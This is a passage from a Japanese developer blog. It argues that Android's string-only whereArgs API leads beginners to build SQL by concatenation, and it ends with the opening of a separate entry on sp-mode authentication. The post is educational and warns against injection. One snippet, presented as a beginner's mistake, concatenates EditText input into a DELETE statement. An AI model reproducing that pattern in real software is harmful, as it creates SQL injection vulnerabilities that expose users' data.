これらのメソッドのwhereClauseとwhereArgsには
String whereClause = "name = ?"; String[] whereArgs = new String[] {"mikenyan"}; db.delete("cat", whereClause, whereArgs);
といった値をセットして使い、内部で「DELETE FROM cat WHERE name = 'mikenyan'」というSQLを実行する仕組みになっています。
selectionとselectionArgsも名前が違うだけで同じ役割の引数になっていますね。
また同様の役割を果たす引数が、android.content.ContentProviderにてOverride必須なquery・update・deleteでも用意されています。関連するContentResolverでも同様です。*3
ところが、ここで少し残念な仕様が判明します。whereArgsはStringの配列として扱われていて、内部で最終的にbindStringが呼び出される仕様になっています。
つまるところ、longやdouble等の値を直接bindする事が出来ない仕様になっています。
もし全てのパラメーターでbindメカニズムを利用したい場合には
String whereClause = "name = ? AND age = ?"; String[] whereArgs = new String[] {"mikenyan", Long.toString(1)}; db.delete("cat", whereClause, whereArgs);
のようにして「DELETE FROM cat WHERE name = 'mikenyan' AND age = '1'」と自動的な暗黙の型変換の動作にドキドキしながら実行するしか出来ないようです。
では厳密に「DELETE FROM cat WHERE name = 'mikenyan' AND age = 1」というSQLを(query/delete/updateメソッドで)実行させるにはどうすればいいのでしょうか? 答えは、次のコードになります。
String whereClause = "name = ? AND age = " + Long.toString(1); String[] whereArgs = new String[] {"mikenyan"}; db.delete("cat", whereClause, whereArgs);
……値の直接埋め込み、いわゆる文字連結によるSQL組み立てになってしまいましたね。とはいえ、文字列だけをきっちりbindし、SQLインジェクションを回避するのは十分可能です。あくまで『分かってる人が使う限り』という条件付きですけども…。
ここからがタイトルが懸念している本題になります。まず、プログラム初心者が学習する流れを考えてみてください。
先程のサンプルコードは
String whereClause = "name = '" + "mikenyan" + "' AND age = " + Long.toString(1); String[] whereArgs = new String[] {}; db.delete("cat", whereClause, whereArgs);
と書き、whereArgsを一切使わないでも同じ事が出来ます。
しかも要素が0個のString配列を指定せずnullを指定する事が可能な為、次のようなものも「SQLインジェクションの問題が無いコード」として書かれたりします。
db.delete("dog", "id = " + Long.toString(id) , null);
また「SQLインジェクションの起こりえない文字列値を渡す仕様」の場合に
db.delete("mouse", "type = '" + TYPE_DREAM + "'" , null); //TYPE_DREAMは"dream"という文字列の定数
と文字連結で指定するコードも書く場合があるようです。これもそのアプリ単体では「SQLインジェクションの問題が無いコード」ではあります。
しかしプログラム初心者がそれらのコードを見た結果「whereArgsにbindしたい文字列の配列を入れる」という仕組みそのものに気づかないまま「whereClauseに検索条件の文字列を入れて、whereArgsにはnull指定しとけば良いんだな!」のように微妙に勘違いした状態で理解してしまいかねないのです。
そうしてその初心者は「正しくコピペ」しているつもりでSQLインジェクション入りのコードを書いてしまう可能性が出てくる訳です。
//初心者が間違ってその後書きそうなコード EditText editTextArtist = (EditText)findViewById(R.id.EditTextArtist); String artist = editTextArtist.getText().toString(); //B'zやI'veやL'arc-en-Cielとか入る db.delete("song", "artist = '" + artist + "'" , null);
まあそれでも運良くデバッグ時に「あ、これだとSQLインジェクションになるんだ」と学習する機会があるならば、そのコードを書いた初心者はSQLインジェクションを作り込まないよう成長してくれるでしょう。ですが世の中、必ずしもそういうケースばかりにはなりません……。
コーディング担当とデバッグ担当が別人でコーディング担当に情報がフィードバックされなかったり、テスト仕様書がSQLインジェクションを想定して無かったり、デバッグ担当にSQLインジェクションの知識が無かったり、そもそもプロジェクトメンバー全員がSQLインジェクションの事を知らなかったり、そういった不幸な現場も残念ながら存在しています。もしそのまま他の開発現場にSQLインジェクションを知らないまま「プログラム経験者」として流れていったら……そこいらでSQLインジェクションなコードが量産されてしまうでしょう。
こういう懸念を感じた為、このエントリのタイトルを「Androidが再生産しているSQLインジェクション?」とさせて頂きました。m(_ _)m
誤解の無いように言っておきますが、AndroidのSQLiteDatabaseクラスやContentProvider&ContentResolverクラスは「SQLインジェクション対策が出来てない」訳ではありません。
あくまでメソッドの仕様が「結果的にコピペしたがるプログラム初心者がSQLインジェクションを作り込んでしまいやすい」だけなんです。
個人的には、最初から型指定が可能なメソッドを一緒に用意し、型指定を省略した場合のみ「全て文字列としてbindする」仕様の方が良かったなーと思います。
public int delete(String table, String whereClause, String[] whereArgs, String[] types) //←こんなのを一緒に用意 public int delete(String table, String whereClause, String[] whereArgs)
おそらくは「正しく書く方法があるんだから、書く側が注意するだけの問題だろ」という風に「分かってる人」側は思うでしょう。ですから、今後のAndroid APIがバージョンアップしても「Stringだけbindしろ」という仕様は継続されると思われます……。*4
API仕様がそうならそれに従わざるを得ないので、次善策として
- bindする値が無い時でもwhereArgs/selectionArgsにはnullを指定せず、必ずString配列を渡す
- コメントに注意点を書いておく
というルールでコードを書く方がベターでは無いかと思われます。(見る人の事を考える余裕があるなら)
String whereClause = "name = ? AND age = " + Long.toString(1); //文字列以外は直接埋め込み、文字列は?でプレースホルダ指定 String[] whereArgs = new String[] {"mikenyan"}; //文字列はbindを使って指定 db.delete("cat", whereClause, whereArgs);
String whereClause = "id = " + Long.toString(id); //文字列以外は直接埋め込み、文字列は?でプレースホルダ指定 String[] whereArgs = new String[] {}; //文字列はbindを使って指定 db.delete("dog", whereClause, whereArgs);
まあ「再生産する」と大げさに言っても絶対数が(SQLインジェクションが大量生産されてた時代よりは)少ないでしょうけどねー。*5
*1:仕事の種になると逆に喜ぶ方もいるかもしれませんが。
*2:どうしても駄目な環境だと次善策としてescape処理しますが
*3:ただし渡されたselectionとselectionArgsをどう扱うかはContentProvider実装者の自由で、使わずに無視する事も可能ではあります。
*4:あと、ContentProvider+ContentResolverの仕様を今から変えるのは非現実的でしょうしね…
*5:理想論を言うならば、技術者たるもの「自分でSQLインジェクションの可能性に気づく」くらいして欲しいところですが…。ところで「C経験者で\とつきあった事ある人が、SQLインジェクションやXSSを全く気にしてない」って何故起こるんでしょうね?
僕の考えた最強のspモード
このエントリの見方
長いので手早く読みたい方は、前置きとリンクしている高木さんのエントリを確認し、結論とまとめに飛び、シーケンス図を確認し、補足とおまけを後回しにしながら必要な所だけ順番に見るといいかもしれません。時間と根気がある方は順番にどうぞ。
(追記:もしかしたらSMS使わずともC2DMまたはGCMで横取りの心配もなく実装出来るかもしれない…? 後日検証予定。即時性については未確認なのでどこまで使えるか分かりませんが…。)
ドコモが理想とするspモードと、根深い問題を抱えた現実(前置き)
昨年12月、spモードメールで大規模な障害が発生しました。障害の原因の一つに「IPアドレスで電話機を識別していた」というものがありました。それを見た多くの技術者は「その実装は無いわー」と思ったのですが、高木浩光さんの考証によるとなかなか根深い理由があった様です。
http://takagi-hiromitsu.jp/diary/20111229.html#p01
要は「ドコモはi-modeの様に、ID・パスワードが存在しないネットワークを再現したい」という大前提があるという事です。でもそれは決して簡単な話ではなく、高木さんも「そもそもspモードは安全に成り立つのか」の解を「spモードが目指すところはそもそも技術論的に無理があるのではないか」と結論付けられてます。
まあ今後は「普通のPOP3S/SMTPSのメールシステムにして、IDとパスワードを入力させる形式にする」か「MMSに対応する」方が素直なやり方なんでしょうね。通常のISPが接続ID・接続パスワード・メールID・メールパスワードを発行する運用を続けてきましたし、ケータイユーザーも甘やかされず自立出来る可能性は十分あると思います。
『通話と電話番号あてのメールさえ送れれば良いSMSで十分なユーザー』『IDとパスワードから開放されてるガラケーi-mode』『PCライクにIDとパスワード管理をするスマートフォン』。そういうカタチで住み分けも出来そうに思えます。
しかしその難題である「ドコモの理想とするspモード」は何とか実現する方法がないか、私はあえて考えてみることにしました。こちらは責任者でもないただの部外者ですし、のんびりじっくりと実装を考える事が出来ます。納期もノルマも課せられてないので、マイペースで3ヶ月程考えてみました。